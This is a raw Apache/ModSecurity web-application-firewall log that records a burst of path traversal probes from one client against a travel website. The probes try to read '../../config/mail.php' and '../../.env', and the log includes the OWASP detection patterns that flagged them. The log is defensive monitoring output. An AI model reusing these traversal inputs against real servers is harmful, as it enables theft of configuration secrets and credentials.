[Fri Jul 17 08:55:07.134225 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.134299 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?dir=..%2F..%2Fconfig%2Fmail.php&ts=oNZHq5OxSJsTWagQGu4f09z--Q7AvSYGNfmtHmx-b0MAo0zYZycZWEm-LW7sY6DzBDEl1vh2OijQ9AOeRjWQ7buokK12sVQ8iTIBeDWIc8noRDEWBtIdmzWyZ0fm0owRGB5pn3U-e5Nbwzn_nmfBowEEaXW_9rxV95fY-Bx3ri2XGkQ_IIIKgzLs8FyiF60iqRfpHm7v0QdEYlHTH2s0_p7mF8viENH7OH67ZZu9tmHjwZmBUqjT4G7ia689B_-ap-rGH1evTkyFTY8-oeIcSzPm&debug=4QE4NLC2M4TGAVFZ45IW6IR34JNA4VHFIHVG2K62HN723YEVX6CKBGDTL5A2YCSHT53YATPBGLI2DUIOMZG3OCL7AIHPRXKTQYR25ZJZTJGKZT4PQCABUFD5OWANEFUB55LS..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXQAAABI"]
[Fri Jul 17 08:55:07.134334 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXQAAABI"]
[Fri Jul 17 08:55:07.134388 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../config/mail.php&ts=oNZHq5OxSJsTWagQGu4f09z--Q7AvSYGNfmtHmx-b0MAo0zYZycZWEm-LW7sY6DzBDEl1vh2OijQ9AOeRjWQ7buokK12sVQ8iTIBeDWIc8noRDEWBtIdmzWyZ0fm0owRGB5pn3U-e5Nbwzn_nmfBowEEaXW_9rxV95fY-Bx3ri2XGkQ_IIIKgzLs8FyiF60iqRfpHm7v0QdEYlHTH2s0_p7mF8viENH7OH67ZZu9tmHjwZmBUqjT4G7ia689B_-ap-rGH1evTkyFTY8-oeIcSzPm&debug=4QE4NLC2M4TGAVFZ45IW6IR34JNA4VHFIHVG2K62HN723YEVX6CKBGDTL5A2YCSHT53YATPBGLI2DUIOMZG3OCL7AIHPRXKTQYR25ZJZTJGKZT4PQCABUFD5OWANEFUB55LSFQ3EVD6JV3VPC4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXQAAABI"]
[Fri Jul 17 08:55:07.134413 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?dir=../../config/mail.php&ts=onzhq5oxsjstwagqgu4f09z--q7avsygnfmthmx-b0mao0zyzyczwem-lw7sy6dzbdel1vh2oijq9aoerjwq7buokk12svq8itibedwic8nordewbtidmzwyz0fm0owrgb5pn3u-e5nbwzn_nmfboweeaxw_9rxv95fy-bx3ri2xgkq_iiikgzls8fyif60iqrfphm7v0qdeylhth2s0_p7mf8vienh7oh67zzu9tmhjwzmbuqjt4g7ia689b_-ap-rgh1evtkyfty8-oeicszpm&debug=4qe4nlc2m4tgavfz45iw6ir34jna4vhfihvg2k62hn723yevx6ckbgdtl5a2ycsht53yatpbgli2duiomzg3ocl7aihprxktqyr25zjztjgkzt4pqcabufd5owanefub55lsfq3evd6jv3vpc4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXQAAABI"]
[Fri Jul 17 08:55:07.134431 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXQAAABI"]
[Fri Jul 17 08:55:07.134448 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXQAAABI"]
[Fri Jul 17 08:55:07.134578 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBTAAAABs"]
[Fri Jul 17 08:55:07.134602 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95qAAAAAw"]
[Fri Jul 17 08:55:07.135696 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXQAAABI"]
[Fri Jul 17 08:55:07.135834 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.138072 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUXQAAABI"]
[Fri Jul 17 08:55:07.142199 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCwAAAAM"]
[Fri Jul 17 08:55:07.142245 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:dir: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCwAAAAM"]
[Fri Jul 17 08:55:07.143453 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkxHlOGcokz2QIwTTCwAAAAM"]
[Fri Jul 17 08:55:07.143614 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.143931 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkxHlOGcokz2QIwTTCwAAAAM"]
[Fri Jul 17 08:55:07.148946 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt25wAAACM"]
[Fri Jul 17 08:55:07.148989 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt25wAAACM"]
[Fri Jul 17 08:55:07.150159 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt25wAAACM"]
[Fri Jul 17 08:55:07.150335 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.150629 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt25wAAACM"]
[Fri Jul 17 08:55:07.151445 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?show=..%2F..%2F.env&debug=kyA30LoM5wmYdmU682JVtHK1KMbdxnNkjMxbBq8bzSzcx8b-2TpbyDIgehH80Fl1bDWpMvJQGzq68C27sNW2MaaTGVZJ3M2sTlVHGYdlSBIhJ-6iNs9VxyUAawuY7NQ0g2gAp38i065A0jN9ny3WBOc-5MAb0KXBhlIWhrGQkPTW8yC0JF-nS_1FDz5r5fvPL68Oh66zdLtfed-aAUuXL44Jweslbi0mKgC-m7vS8B7bOAsR-0xajW7irWQ9VrpuDasRA1ijf-d6CgwhfpAxDMSy&ref=VZJXJUKC5OPISPWWYHNU4UYXPCA25ZF4NG2X7QAANPD2ME3ACJENAUKVTPJN4LNFYY5YTMCA6DZ4T55UXWOFI3DB6TSXLNHKW3KCLVBZ23MMUQXVBNB6VNLIHAF3KW6CLDCZKQPPDKNCFPT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXgAAABI"]
[Fri Jul 17 08:55:07.151486 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXgAAABI"]
[Fri Jul 17 08:55:07.151532 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../.env&debug=kyA30LoM5wmYdmU682JVtHK1KMbdxnNkjMxbBq8bzSzcx8b-2TpbyDIgehH80Fl1bDWpMvJQGzq68C27sNW2MaaTGVZJ3M2sTlVHGYdlSBIhJ-6iNs9VxyUAawuY7NQ0g2gAp38i065A0jN9ny3WBOc-5MAb0KXBhlIWhrGQkPTW8yC0JF-nS_1FDz5r5fvPL68Oh66zdLtfed-aAUuXL44Jweslbi0mKgC-m7vS8B7bOAsR-0xajW7irWQ9VrpuDasRA1ijf-d6CgwhfpAxDMSy&ref=VZJXJUKC5OPISPWWYHNU4UYXPCA25ZF4NG2X7QAANPD2ME3ACJENAUKVTPJN4LNFYY5YTMCA6DZ4T55UXWOFI3DB6TSXLNHKW3KCLVBZ23MMUQXVBNB6VNLIHAF3KW6CLDCZKQPPDKNCFPTGETECRE2O6AX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXgAAABI"]
[Fri Jul 17 08:55:07.151566 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?show=../../.env&debug=kya30lom5wmydmu682jvthk1kmbdxnnkjmxbbq8bzszcx8b-2tpbydigehh80fl1bdwpmvjqgzq68c27snw2maatgvzj3m2stlvhgydlsbihj-6ins9vxyuaawuy7nq0g2gap38i065a0jn9ny3wboc-5mab0kxbhliwhrgqkptw8yc0jf-ns_1fdz5r5fvpl68oh66zdltfed-aauuxl44jweslbi0mkgc-m7vs8b7boasr-0xajw7irwq9vrpudasra1ijf-d6cgwhfpaxdmsy&ref=vzjxjukc5opispwwyhnu4uyxpca25zf4ng2x7qaanpd2me3acjenaukvtpjn4lnfyy5ytmca6dz4t55uxwofi3db6tsxlnhkw3kclvbz23mmuqxvbnb6vnlihaf3kw6cldczkqppdkncfptgetecre2o6ax..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXgAAABI"]
[Fri Jul 17 08:55:07.151588 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXgAAABI"]
[Fri Jul 17 08:55:07.151606 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:show: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXgAAABI"]
[Fri Jul 17 08:55:07.152818 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUXgAAABI"]
[Fri Jul 17 08:55:07.152964 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.153338 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUXgAAABI"]
[Fri Jul 17 08:55:07.157285 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 